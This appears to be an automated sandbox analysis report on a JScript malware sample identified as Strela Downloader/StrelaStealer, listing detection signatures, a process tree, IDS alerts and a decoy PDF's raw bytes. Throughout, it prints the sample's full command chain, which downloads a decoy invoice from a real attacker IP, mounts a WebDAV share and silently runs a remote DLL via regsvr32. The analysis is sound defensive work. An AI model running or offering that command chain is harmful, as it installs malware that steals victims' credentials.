Edit tour

Windows Analysis Report
7654219842078021961.js

Overview

General Information

Sample name:	7654219842078021961.js
Analysis ID:	1588615
MD5:	3c2d5cdf3f6072359f976544c5ef9ac6
SHA1:	22176c5e2acd7d4ce7942612cd24178ca07b2518
SHA256:	6b80158c554923b53a981615b8db6a1573377bcfe47dc63cc329ef0a554b33fe
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4688 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7654219842078021961.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5452 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5720 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4564 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3620 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7288 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1772,i,10370228529701564776,12005692923308842787,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3712 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7056 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4256 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4688	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5452, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5720, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5452, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5720, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7654219842078021961.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7654219842078021961.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7654219842078021961.js", ProcessId: 4688, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7056, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7654219842078021961.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4688, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, ProcessId: 5452, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7654219842078021961.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4688, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, ProcessId: 5452, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7654219842078021961.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4688, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, ProcessId: 5452, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7654219842078021961.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4688, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, ProcessId: 5452, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7654219842078021961.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4688, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, ProcessId: 5452, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7654219842078021961.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7654219842078021961.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7654219842078021961.js", ProcessId: 4688, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5452, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5720, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3712, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7056, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4256, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3712, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7056, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7654219842078021961.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4688, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, ProcessId: 5452, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:10:58.684188+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:11:01.305986+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:10:58.684188+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 7654219842078021961.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 7654219842078021961.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 7654219842078021961.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:10:58 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

